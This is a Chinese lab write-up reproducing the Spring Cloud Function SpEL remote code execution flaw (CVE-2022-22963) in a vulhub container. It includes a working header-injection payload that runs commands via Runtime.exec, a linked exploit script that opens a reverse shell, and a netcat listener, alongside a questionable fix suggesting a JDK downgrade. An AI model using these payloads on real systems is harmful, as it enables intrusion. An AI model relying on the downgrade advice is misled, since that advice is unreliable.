1 漏洞信息
漏洞名称 | Spring Cloud Function SpEL 远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2022-22963 |
危害等级 | 高危 |
CVSS评分 | 7.5 |
漏洞类型 | 中间件漏洞 |
漏洞厂商 | 开源 |
漏洞组件 | Spring Cloud |
受影响版本 | 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 |
漏洞概述 | 由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。 |
2 环境搭建
2.1 环境概述
- Linux操作系统(vulhub)
2.2 搭建过程
进入到漏洞目录下
{width=“5.125in”
height=“0.15833333333333333in”}
拉取镜像
{width=“5.758333333333334in”
height=“0.2590277777777778in”}
3 漏洞复现
访问192.168.1.136:8080/fuctionRouter
并且抓包,修改请求方式为POST,并且还要添加spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("要执行的命令")
,由于无法回显,我这里执行的是创建一个文件,然后再到docker容器内部查看是否创建成功来确定是否成功执行了命令。
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/sucess-2022-07")
{width=“5.759722222222222in”
height=“0.96875in”}
进入到docker容器内部,docker exec -it 容器id /bin/bash,发现创建成功
{width=“5.757638888888889in”
height=“0.2125in”}
还可以使用exp进行利用,下载链接:https://github.com/chaosec2021/EXP-POC
Spel_RCE_Bash_EXP.py http://192.168.1.136:8080 192.168.1.1 2022
{width=“5.759722222222222in”
height=“2.217361111111111in”}
在监听中成功接受到了shell
nc64.exe -lvp 2022
{width=“5.759722222222222in”
height=“0.9986111111111111in”}
4 修复建议
1、安装官方的补丁
2、降级到 JDK 8 或更低版本,这将消除被攻击的可能性。